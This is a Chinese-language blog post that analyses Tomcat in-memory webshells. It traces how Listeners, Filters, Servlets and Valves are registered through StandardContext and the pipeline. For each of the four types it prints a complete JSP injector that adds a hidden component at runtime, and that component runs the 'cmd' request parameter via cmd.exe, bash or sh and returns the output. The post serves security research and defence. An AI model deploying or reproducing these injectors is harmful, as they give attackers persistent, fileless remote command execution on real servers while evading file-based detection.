• Tomcat内存马分析


    前言

    自己简单搭建一个Tomcat项目,IDEA里选择JavaEE,勾上web就行了
    加个依赖(这样就能找到三个Context了:

    
      org.apache.tomcat.embed
      tomcat-embed-core
      8.5.16
    
    

    Tomcat的三个Context

    ServletContext

    ServletContext是Servlet规范中规定的ServletContext接口,一般servlet都要实现这个接口。大概就是规定了如果要实现一个WEB容器,他的Context里面要有这些东西:获取路径,获取参数,获取当前的filter,获取当前的servlet等

    ApplicationContext

    在Tomcat中,ServletContext规范的实现是ApplicationContext,因为门面模式的原因,实际套了一层ApplicationContextFacade。关于什么是门面模式具体可以看这篇文章,简单来讲就是加一层包装。
    其中ApplicationContext实现了ServletContext规范定义的一些方法,例如addServlet,addFilter等

    StandardContext

    StandardContext存在于org.apache.catalina.core.StandardContext
    实际上研究ApplicationContext的代码会发现,ApplicationContext所实现的方法其实都是调用的this.context中的方法,而这个this.context就是一个实例化的StandardContext对象
    StandardContext是Tomcat中真正起作用的Context,负责跟Tomcat的底层交互,ApplicationContext其实更像对StandardContext的一种封装。用下面这张图来展示一下其中的关系:

    Listen型内存马分析

    前置内容


    由图可知,最先接受请求并处理的就是Listen,这时候就可以在监听时,运行恶意代码,注入内存马。
    Listen分为这几种:

    • ServletContext,服务器启动和终止时触发
    • Session,有关Session操作时触发
    • Request,访问服务时触发

    Requset是最好触发和注入内存马的种类,只需要访问即可rce,在tomcat中Listen需实现两个接口LifecycleListenerEventListener,由于实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还不能被解析,所以我们重点看EventListener

    ServletRequestListener接口继承了它,因此我们只需要用ServletRequestListener即可servletRequestListener用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法
    举个例子:

    package com.example.tomcat_memoryma;
    
    import javax.servlet.ServletRequestEvent;
    import javax.servlet.ServletRequestListener;
    
    public class Listener implements ServletRequestListener {
        @Override
        public void requestDestroyed(ServletRequestEvent sre){
            System.out.println("执行了Test requestDestroyed");
        }
        public void requestInitialized(ServletRequestEvent sre) {
            System.out.println("执行力Test requestInitialized");
        }
    }
    

    web.xml注册一下

    
        com.example.tomcat_memoryma.Listener
    
    

    此时我们随便访问都会触发Listener

    先Initialize后Destroy

    流程分析

    requestInitialized处下个断点,然后debug启动服务,就能看见调用栈了
    反向溯源一下

    StandardContext中调用了listener.requestInitialized,往上看可以知道listener是从instance数组里的元素,instance是getApplicationEventListeners()的返回值,继续看上一个调用栈

    StandardHostValue中调用了fireRequestInitEvent,而fireRequestInitEvent中调用了getApplicationEventListeners(),而getApplicationEventListeners()就是StandardContext中的一个方法,所以利用思路就是获取StandardContext来调用getApplicationEventListeners(),进而添加恶意监听器

    StandardContext对象获取

    方式一

    通过request对象来获取

    <%
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext standardContext = (StandardContext) req.getContext();
        Listener listener = new Listener();
        standardContext.addApplicationEventListener(listener);
    %>
    

    首先根据request对象反射获取request属性,然后再调用getContext方法获取StandardContext对象,溯源就可以发现StandardContext是Context的实现类,getContext方法返回的就是一个Context对象

    方式二

    通过Thread来获取

    WebappClassLoader webappClassLoader = (WebappClassLoader) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoader.getResources().getContext();
    

    和上面的原理一样,也是一步步往上去找,会发现都对应了起来

    内存马分析

    根据这两种方法可以写出Listen型内存马

    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.connector.Request" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.util.Scanner" %>
    <%@ page import="java.io.IOException" %>
    
    <%!
        public class MyListener implements ServletRequestListener {
        //定义了一个Listen监听Servlet的销毁事件
            public void requestDestroyed(ServletRequestEvent sre) {
                //获取HttpServletRequest对象,用于RCE
                HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
                if (req.getParameter("cmd") != null){
                    InputStream in = null;
                    try {
                        //指令结果的输入流
                        in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                        /*
    scanner.useDelimiter命令在于设置当前scanner的分隔符,默认是空格,\\A为正则表达式,表示从字符头开始
    这条语句的整体意思就是读取所有输入,包括回车换行符
                            */
                        Scanner s = new Scanner(in).useDelimiter("\\A");
                        //获得结果
                        String out = s.hasNext()?s.next():"";
                        //获取request对象
                        Field requestF = req.getClass().getDeclaredField("request");
                        requestF.setAccessible(true);
                        Request request = (Request)requestF.get(req);
                        //回显技术
                        request.getResponse().getWriter().write(out);
                    }
                    catch (IOException e) {}
                    catch (NoSuchFieldException e) {}
                    catch (IllegalAccessException e) {}
                }
            }
    
            public void requestInitialized(ServletRequestEvent sre) {}
        }
    %>
    
    <%//添加恶意Listener
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext context = (StandardContext) req.getContext();
        MyListener listenerDemo = new MyListener();
    //在这里调用StandardContext进行添加
        context.addApplicationEventListener(listenerDemo);
    %>
    

    Filter型内存马分析

    按照上面所讲的正常流程,Listen过后就是经过Filter过滤器处理请求,和Listen对应,Filter肯定也可以注入内存马,因为Filter有doFilter方法,用来将请求放行

    Filter调用示例

    准备一个简单的filter示例:

    package com.example.tomcat_memoryma;
    import javax.servlet.*;
    import java.io.IOException;
    
    public class FilterDemo implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            System.out.println("filter 初始化");
        }
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
            System.out.println("doFilter 过滤");
            // 放行
            chain.doFilter(request,response);
        }
        @Override
        public void destroy(){
            System.out.println("filter 销毁");
        }
    }
    

    在web.xml中注册Filter

     
        FilterDemo
        com.example.tomcat_memoryma.FilterDemo
    
    
        FilterDemo
        /*
    
    

    启动web服务

    关闭web服务

    doFilter处下个断点,debug启动,看调用栈

    最后一步是在ApplicationFilterChain类中调用了doFilter方法,并且通过一个ApplicationFilterConfig对象来获取所有的filters

    溯源发现filters是一个ApplicationFilterConfig[]对象数组

    继续往回走,该类调用了internalDoFilter方法

    再往回走,在StandrdWrapperValue类中调用了filterChain.doFilter

    这个filterChain中存放的就是我们所定义的filter,可以看到filter是一个ApplicationFIlterConfig类型的数组

    接下来分析一下createFilterChain是如何将我们的filter添加进ApplicationFIlterConfig的,首先先获取了Request对象,实际上就是一个HttpServlet,然后通过HttpServlet获取了Filterchain

    往后看,用StandardContext获取了FilterMap数组

    后面通过FilterMap获取道filterConfig并放入到filterChain中
    跟进addFilter,在这做的事情其实和上一步一样,遍历filter然后放入ApplicationFilterConfig[]中,这个filters数组就是上面说的ApplicationFilterConfig[]数组对象,通过调试可以发现有几个比较显眼的对象名称:

    • filterMaps拿名字
    • filterConfigs拿过滤器(值)

    这两个变量在StandradContext中都有定义,其中还有个filterDefs也是一个重要变量,这个后续会讲:

    FilterMap

    FilterMap可以通过StandardContext去添加

    FilterConfigs

    StandardContext当然也存在对FilterConfigs操作的方法

    其中调用了filterConfigs.put方法添加,从源码不难看懂这是初始化时候做的事情,所以我们这里打个断点,重新启动一下。filterDefs中存放了我们的TestFilter和TestFIlter的过滤器,遍历filterDefs,拿到了key(Testfilter)和value,之后通过new一个ApplicationConfig将值存入filterConfig中:

    FilterDefs

    通过分析,其实发现filterdefs才是真正存放了filter的地方,在StandradContext中也有添加filterDefs的方法:

    可以想到,tomcat是从web.xml中读取的filter,然后加入了filterMap和filterDef变量中,以下对应着这两个变量,其中filter-mapping对应着filterMap

    内存马分析

    <%@ page import="org.apache.catalina.core.ApplicationContext" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="java.util.Map" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
    <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
    <%@ page import="java.lang.reflect.Constructor" %>
    <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
    <%@ page import="org.apache.catalina.Context" %>
    <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
    
    <%
        final String name = "F12";
        ServletContext servletContext = request.getSession().getServletContext();
    
        Field appctx = servletContext.getClass().getDeclaredField("context");
        appctx.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    
        Field stdctx = applicationContext.getClass().getDeclaredField("context");
        stdctx.setAccessible(true);
        StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
        //以上步骤用于获取StandardContext
        Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
        Configs.setAccessible(true);
        Map filterConfigs = (Map) Configs.get(standardContext);
        //反射获取filterconfig
    
        if (filterConfigs.get(name) == null){
            //开始添加Filter过滤器
            Filter filter = new Filter() {
                @Override
                public void init(FilterConfig filterConfig) throws ServletException {
    
                }
    
                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    HttpServletRequest req = (HttpServletRequest) servletRequest;
                    //定义了恶意的FIlter过滤器,在dofilter方法执行恶意代码
                    if (req.getParameter("cmd") != null){
                        byte[] bytes = new byte[1024];
                        Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                        int len = process.getInputStream().read(bytes);
                        servletResponse.getWriter().write(new String(bytes,0,len));
                        process.destroy();
                        return;
                    }
                    filterChain.doFilter(servletRequest,servletResponse);
                }
    
                @Override
                public void destroy() {
    
                }
    
            };
    
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(filter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);
    
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/*");
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
    
            standardContext.addFilterMapBefore(filterMap);
            /**
             * 添加FilterMap
             */
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    
            filterConfigs.put(name,filterConfig);
            /**
             * 反射获取ApplicationFilterConfig对象,往filterConfigs中放入filterConfig
             */
            out.print("Inject Success !");
        }
    %>
    

    以上唯一需要注意的点就是filterMap.setDispatcher(DispatcherType.REQUEST.name());,我们在分析流程的时候是没有见过这个Dispatch的,这是一个坑点

    filterMaps里有dispatcherMapping这个属性,在FilterMap中也有这个
    在这里设置成REQUEST就行,这样我们就能通过request命令执行
    注意我是在windows下运行的,所以上面内存马改一下,把bash换成cmd,-c换成/c

    Servlet型内存马

    准备一个servlet例子:

    package com.example.tomcat_memoryma;
    
    import javax.servlet.ServletException;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    
    public class HelloServlet extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            resp.getWriter().write("Hello World");
        }
    
        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            doGet(req, resp);
        }
    }
    

    在web.xml注册

    
        HelloServlet
        com.example.tomcat_memoryma.HelloServlet
    
    
        HelloServlet
        /hello
    
    

    创建StandardWrapper

    在StandardContext#startInternal中,调用了fireLifecycleEvent()方法解析web.xml文件,我们在此下断点跟进:

    ContextConfig#webConfig()解析了xml文件,然后调用了configureContext

    跟进,可以看到前面的一些操作是对listen,filter的,按顺序来到对servlet的处理

    .........
            for (ServletDef servlet : webxml.getServlets().values()) {
                //创建StandardWrapper对象
                Wrapper wrapper = context.createWrapper();
                // Description is ignored
                // Display name is ignored
                // Icons are ignored
    
                // jsp-file gets passed to the JSP Servlet as an init-param
    
                if (servlet.getLoadOnStartup() != null) {
                //设置LoadOnStartup属性
    
                    wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
                }
                if (servlet.getEnabled() != null) {
                    wrapper.setEnabled(servlet.getEnabled().booleanValue());
                }
                //设置ServletName属性
                wrapper.setName(servlet.getServletName());
                Map params = servlet.getParameterMap();
                for (Entry entry : params.entrySet()) {
                    wrapper.addInitParameter(entry.getKey(), entry.getValue());
                }
                wrapper.setRunAs(servlet.getRunAs());
                Set roleRefs = servlet.getSecurityRoleRefs();
                for (SecurityRoleRef roleRef : roleRefs) {
                    wrapper.addSecurityReference(
                            roleRef.getName(), roleRef.getLink());
                }
                 //设置ServletClass属性
                wrapper.setServletClass(servlet.getServletClass());
                MultipartDef multipartdef = servlet.getMultipartDef();
                if (multipartdef != null) {
                    long maxFileSize = -1;
                    long maxRequestSize = -1;
                    int fileSizeThreshold = 0;
    
                    if(null != multipartdef.getMaxFileSize()) {
                        maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
                    }
                    if(null != multipartdef.getMaxRequestSize()) {
                        maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
                    }
                    if(null != multipartdef.getFileSizeThreshold()) {
                        fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
                    }
    
                    wrapper.setMultipartConfigElement(new MultipartConfigElement(
                            multipartdef.getLocation(),
                            maxFileSize,
                            maxRequestSize,
                            fileSizeThreshold));
                }
                if (servlet.getAsyncSupported() != null) {
                    wrapper.setAsyncSupported(
                            servlet.getAsyncSupported().booleanValue());
                }
                wrapper.setOverridable(servlet.isOverridable());
                 //将包装好的StandWrapper添加进ContainerBase的children属性中
                context.addChild(wrapper);
            }
            for (Entry entry :
                    webxml.getServletMappings().entrySet()) {
                context.addServletMappingDecoded(entry.getKey(), entry.getValue());
            }
    

    最后用了context.addServletMappingDecoded加了对应的路由:

    加载StandardWrapper

    最后在StandardContext的findChildren获取到了StandardWrapper类
    往下走就是一个加载流程,listen->filter->servlet,通过loadOnstartup()方法加载我们的wrapper

    public boolean loadOnStartup(Container children[]) {
    
            // Collect "load on startup" servlets that need to be initialized
            TreeMap> map = new TreeMap<>();
            for (Container child : children) {
                Wrapper wrapper = (Wrapper) child;
                int loadOnStartup = wrapper.getLoadOnStartup();
                //判断属性loadOnStartup的值,因此这里应该大于0
                if (loadOnStartup < 0) {
                    continue;
                }
                Integer key = Integer.valueOf(loadOnStartup);
                ArrayList list = map.get(key);
                if (list == null) {
                    list = new ArrayList<>();
                    map.put(key, list);
                }
                list.add(wrapper);
            }
    
            // Load the collected "load on startup" servlets
            for (ArrayList list : map.values()) {
                for (Wrapper wrapper : list) {
                    try {
                        wrapper.load();
                    } catch (ServletException e) {
                        getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",
                              getName(), wrapper.getName()), StandardWrapper.getRootCause(e));
                        // NOTE: load errors (including a servlet that throws
                        // UnavailableException from the init() method) are NOT
                        // fatal to application startup
                        // unless failCtxIfServletStartFails="true" is specified
                        if(getComputedFailCtxIfServletStartFails()) {
                            return false;
                        }
                    }
                }
            }
            return true;
    
        }
    

    上面有个判断loadOnStartup的值需要大于0才会继续去加载,这里的loadOnStartup对应servlet的懒加载机制(通过注解来设置路由等等),默认值为-1,此时只有当servlet被调用时Servlet才会被加载到内存中

    内存马分析

    通过上文的分析我们能够总结出创建Servlet的流程

    1. 获取StandardContext对象
    2. 编写恶意Servlet
    3. 通过StandardContext.createWrapper()创建StandardWrapper对象
    4. 设置StandardWrapper对象的loadOnStartup属性值
    5. 设置StandardWrapper对象的ServletName属性值
    6. 设置StandardWrapper对象的ServletClass属性值
    7. 将StandardWrapper对象添加进StandardContext对象的children属性中
    8. 通过StandardContext.addServletMappingDecoded()添加对应的路径映射
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="org.apache.catalina.connector.Request" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="org.apache.catalina.Wrapper" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.util.Scanner" %>
    <%@ page import="java.io.PrintWriter" %>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    
     
    <%
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext standardContext = (StandardContext) req.getContext();
    				//获取StandardContext
    %>
     
    <%!
     //编写恶意的Servlet
        public class Shell_Servlet implements Servlet {
            @Override
            public void init(ServletConfig config) throws ServletException {
            }
            @Override
            public ServletConfig getServletConfig() {
                return null;
            }
            @Override
            public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
                String cmd = req.getParameter("cmd");
               	boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                //普通回显
                PrintWriter out = res.getWriter();
                out.println(output);
                out.flush();
                out.close();
            }
            @Override
            public String getServletInfo() {
                return null;
            }
            @Override
            public void destroy() {
            }
        }
     
    %>
     
    <%
        //获取Wrapper并且将我们的Servlet放入Wrapper中
        Shell_Servlet shell_servlet = new Shell_Servlet();
        String name ="F12";
     
        Wrapper wrapper = standardContext.createWrapper();
        wrapper.setLoadOnStartup(1);
        wrapper.setName(name);
        wrapper.setServlet(shell_servlet);
        wrapper.setServletClass(shell_servlet.getClass().getName());
    //这里获取的是类名称org.apache.jsp.servlet_jsp$Shell_Servlet
    %>
     
    <%
        //将wrapper添加进StandardContext
        standardContext.addChild(wrapper);
        standardContext.addServletMappingDecoded("/shell",name);
    %>
    

    Valve型内存马

    前置知识

    参考:
    https://xz.aliyun.com/t/11988#toc-19
    valve是Tomcat中对Container组件进行的扩展。Container组件也就是前文一直提及的Tomcat四大容器
    Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):

    Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。
    Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。
    Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
    Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

    其实上述的话可以用下面这张图很好的概括:

    在四个组件中都有pipeline,而储存在pipeline中的就是对应的Valve,我们可以创建一个demo分析一下:

    package com.example.tomcat_memoryma;
    
    import org.apache.catalina.connector.Request;
    import org.apache.catalina.connector.Response;
    import org.apache.catalina.core.StandardContext;
    import org.apache.catalina.valves.ValveBase;
    import javax.servlet.ServletException;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    import java.lang.reflect.Field;
    
    class EvilValve extends ValveBase{
    
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            System.out.println("111");
            try {
                Runtime.getRuntime().exec(request.getParameter("cmd"));
            } catch (Exception e) {
    
            }
        }
    }
    public class TestValve extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            try {
                Field reqF = req.getClass().getDeclaredField("request");
                reqF.setAccessible(true);
                Request request = (Request) reqF.get(req);
                StandardContext standardContext = (StandardContext) request.getContext();
                standardContext.getPipeline().addValve(new EvilValve());
                resp.getWriter().write("inject success");
            } catch (Exception e) {
            }
        }
    }
    

    在web.xml注册

    
        TestValve
        com.example.tomcat_memoryma.TestValve
    
    
        TestValve
        /valve
    
    

    在invoke处打个断点调试,可以看到调用栈里很多valve,看第一个调用的valve:StandardEngineValve

    在这里获取了第一个valve,接下来就是按顺序不断的获取value,从这里可以发现,value链是通过invoke方法进行放行的,当前value的invoke执行后就会执行下一个value的invoke方法,我们进一步溯源:

    从上面这张图可以看到获取组件的顺序,先获取Container在获取pipeline最后获取valve并且在StandardPipeline中有方法addvalue

    这样我们的注入思路就有了

    获取Context

    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    final Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();
    

    获取pipeline

    Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
    pipelineField.setAccessible(true);
    StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);
    

    创建恶意valve并且添加进standardpipeline

    ValveBase valveBase = new ValveBase() {
            @Override
            public void invoke(Request request, Response response){
                try {
                    Runtime.getRuntime().exec("calc");
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        };
        standardPipeline1.addValve(valveBase);
        this.getNext().invoke(request, response);
    

    这里为了让程序继续执行下去,恶意value类也必须要调用下一个value的invoke方法,否则无法正常进行

    内存马分析

    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.connector.Request" %>
    <%@ page import="org.apache.catalina.valves.ValveBase" %>
    <%@ page import="org.apache.catalina.connector.Response" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="org.apache.catalina.core.*" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.util.Scanner" %>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    
    <%
        Field requestField = request.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
    
        final Request request1 = (Request) requestField.get(request);
        StandardContext standardContext = (StandardContext) request1.getContext();
    
        Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
        pipelineField.setAccessible(true);
        StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);
    
        ValveBase valveBase = new ValveBase() {
            @Override
            public void invoke(Request request, Response response) throws ServletException,IOException {
                if (request.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    response.getWriter().write(output);
                    response.getWriter().flush();
                    this.getNext().invoke(request, response);
                }
            }
        };
    
        standardPipeline1.addValve(valveBase);
    
        out.println("evil valve inject done!");
    %>
    


    valve内存马的一个缺点就是让其它jsp文件失效了,我测试是这样的


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18111253
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    项目中的自定义注解
    计算机竞赛 车道线检测(自动驾驶 机器视觉)
    携手华为使能全场景创新,夯实算力底座,麒麟信安受邀参加华为全联接大会2023
    C专家编程 第8章 为什么程序员无法分清万圣节和圣诞节 8.9 如何进行强制类型转换,为何要进行类型强制转换
    CNN人脸识别(python实现)
    计算机网络协议------从入门到深化
    STM32使用HAL库驱动DS3231
    塑造元宇宙未来的5项技术
    数仓模型设计方法论
    理德名人故事:巴菲特传记,“股神”巴菲特的一生
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18111253